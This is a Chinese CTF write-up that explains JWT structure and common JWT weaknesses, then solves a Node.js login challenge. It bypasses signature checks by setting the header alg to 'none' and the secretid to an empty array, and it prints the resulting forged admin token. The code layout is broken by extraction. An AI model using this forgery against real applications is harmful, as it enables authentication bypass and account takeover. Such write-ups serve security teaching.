作者:Ch3ng 合天智匯
簡單介紹一下什麼是JWT
Json web token (JWT), 是為了在網絡應用環境間傳遞聲明而執行的一種基於JSON的開放標準((RFC 7519).該token被設計為緊湊且安全的,特別適用於分佈式站點的單點登錄(SSO)場景。JWT的聲明一般被用來在身份提供者和服務提供者間傳遞被認證的用戶身份信息,以便於從資源服務器獲取資源,也可以增加一些額外的其它業務邏輯所必須的聲明信息,該token也可直接被用於認證,也可被加密。
實際像這麼一段數據
這串數據以(.)作為分隔符分為三個部分,依次如下:
- Header
<code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解碼為 {"alg"
:"HS256"
,"typ"
:"JWT"
}alg屬性表示簽名的算法(algorithm),默認是 HMAC SHA256(寫成 HS256);typ屬性表示這個令牌(token)的類型(type
),JWT 令牌統一寫為JWT/<code>
- Payload
<code>eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ 解碼為 {"sub"
:"1234567890"
,"name"
:"John Doe"
,"iat"
:1516239022
}JWT 規定了7
個官方字段,供選用iss (issuer):簽發人exp
(expirationtime
):過期時間sub
(subject):主題aud (audience):受眾nbf (Not Before):生效時間iat (Issued At):簽發時間jti (JWT ID):編號/<code>
- Signature
Signature 部分是對前兩部分的簽名,防止數據篡改。
首先,需要指定一個密鑰(secret)。這個密鑰只有服務器才知道,不能洩露給用戶。然後,使用 Header 裡面指定的簽名算法(默認是 HMAC SHA256),按照下面的公式產生簽名。
<code>HMACSHA256
( base64UrlEncode(header) +"."
+ base64UrlEncode(payload), secret )/<code>
算出簽名以後,把 Header、Payload、Signature 三個部分拼成一個字符串,每個部分之間用"點"(.)分隔,就可以返回給用戶。
JWT安全問題一般有以下
- 修改算法為none
- 修改算法從RS256到HS256
- 信息洩漏 密鑰洩漏
- 爆破密鑰
首先是一個登錄框,我們先註冊一個賬號admin123,admin123
看題目意思應該是想辦法變成admin來登錄
查看前端代碼js/app.js
<code>function
login
() {const
username = $("#username"
).val();const
password = $("#password"
).val();const
token = sessionStorage.getItem("token"
); $.post("/api/login"
, {username, password,authorization
:token}) .done(function
(data
) {const
{status} = data;if
(status) {document
.location ="/home"
; } }) .fail(function
(xhr, textStatus, errorThrown
) { alert(xhr.responseJSON.message); }); }function
register
() {const
username = $("#username"
).val();const
password = $("#password"
).val(); $.post("/api/register"
, {username, password}) .done(function
(data
) {const
{ token } = data; sessionStorage.setItem('token'
, token);document
.location ="/login"
; }) .fail(function
(xhr, textStatus, errorThrown
) { alert(xhr.responseJSON.message); }); }function
logout
() { $.get
('/api/logout').done(function(data) {const
{status} = data;if
(status) {document
.location ='/login'
; } }); }function
getflag
() { $.get
('/api/flag').done(function(data) {const
{flag} = data; $("#username"
).val(flag); }).fail(function
(xhr, textStatus, errorThrown
) { alert(xhr.responseJSON.message); }); } /<code>
根據註釋符提示可以發現存在源碼洩露問題
接著發現了源碼洩漏
訪問app.js,controller.js,rest.js即可得到源代碼
關鍵代碼controllers/api.js
<code>const
crypto =require
('crypto'
);const
fs =require
('fs'
)const
jwt =require
('jsonwebtoken'
)const
APIError =require
('../rest'
).APIError;module
.exports = {'POST /api/register'
:async
(ctx, next) => {const
{username, password} = ctx.request.body;if
(!username || username ==='admin'
){throw
new
APIError('register error'
,'wrong username'
); }if
(global.secrets.length >100000
) { global.secrets = []; }const
secret = crypto.randomBytes(18
).toString('hex'
);const
secretid = global.secrets.length; global.secrets.push(secret)const
token = jwt.sign({secretid, username, password}, secret, {algorithm
:'HS256'
}); ctx.rest({token
: token });await
next(); },'POST /api/login'
:async
(ctx, next) => {const
{username, password} = ctx.request.body;if
(!username || !password) {throw
new
APIError('login error'
,'username or password is necessary'
); }const
token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;const
sid =JSON
.parse(Buffer.from(token.split('.'
)[1
],'base64'
).toString()).secretid;console
.log(sid)if
(sid ===undefined
|| sid ===null
|| !(
sid < global.secrets.length && sid >=
0
)) {throw
new
APIError
('login error'
,'no such secret id'
); }const
secret
=global
.secrets
[sid
];const
user
=jwt
.verify
(token, secret, {algorithm:
'HS256'
});const
status
=username
===user
.username
&&password
===user
.password
;if
(status
) {ctx
.session
.username
=username
; }ctx
.rest
({ status }
);await
next
()
; }, 'GET
/api
/flag
':async
(ctx, next
) => {if
(ctx.session.username !=='admin'
){throw
new
APIError('permission error'
,'permission denied'
); }const
flag = fs.readFileSync('/flag'
).toString(); ctx.rest({ flag });await
next(); },'GET /api/logout'
:async
(ctx, next) => { ctx.session.username =null
; ctx.rest({status
:true
})await
next(); } }; /<code>
嘗試註冊,可以看到在註冊的時候生成了一個token,並存在sessionStorage中
得到:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q
解密得到:
token生成過程
<code>const
secret = crypto.randomBytes(18
).toString('hex'
);const
secretid =global
.secrets.length;global
.secrets.push(secret)const
token = jwt.sign({secretid, username, password}, secret, {algorithm:'HS256'
}); /<code>
看看各種條件,這裡會先對sid進行驗證,我們需要繞過這條認證,下面還有一個jwt.verify()的驗證並賦值給user
<code>const
sid =JSON
.parse(Buffer.from(token.split('.'
)[1
],'base64'
).toString()).secretid;console
.log(sid)if
(sid ===undefined
|| sid ===null
|| !(
sid < global.secrets.length && sid >=
0
)) {throw
new
APIError
('login error'
,'no such secret id'
); }const
secret
=global
.secrets
[sid
];const
user
=jwt
.verify
(token, secret, {algorithm:
'HS256'
});const
status
=username
===user
.username
&&password
===user
.password
; ..... .... 'GET
/api
/flag
':async
(ctx, next
) => {if
(ctx.session.username !=='admin'
){throw
new
APIError('permission error'
,'permission denied'
); } /<code>
這裡的密鑰是生成了18位,基本沒有爆破的可能性,我們使用的方法是將算法(alg)設置為none,接著我們需要讓jwt.verify()驗證中的secret為空,這裡有個tricks
<code>$ node >const
secrets = [1
,2
,3
,4
]undefined
>const
sid = []undefined
>const
secret = secrets[sid]undefined
> secretundefined
/<code>
再看看能不能過條件
<code>const sid = JSON.parse(Buffer.from
(token.split('.'
)[1
],'base64'
).toString()).secretid;運行結果> sid < secrets.lengthtrue
> sid >=0
true
我們將header修改原: {"alg"
:"HS256"
,"typ"
:"JWT"
} ===>
{"alg"
:"none"
,"typ"
:"JWT"
} 並加密為 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 修改payload{"secretid"
:1
,"username"
:"admin123"
,"password"
:"admin123"
,"iat"
:1587378820
} ===>
{"secretid"
: [],"username"
:"admin"
,"password"
:"admin123"
,"iat"
:1587378820
} 並加密為 eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ /<code>
最後使用(.)進行拼接得到偽造的token
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.
修改sessionStorage
接著使用admin,admin123登錄訪問api/flag,即可得到flag
參考:
https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
https://jwt.io/
如果想更多系統的學習CTF,可點擊
http://hetianlab.com/pages/CTFLaboratory.jsp,進入CTF實驗室學習,裡面涵蓋了6個題目類型系統的學習路徑和實操環境。
聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!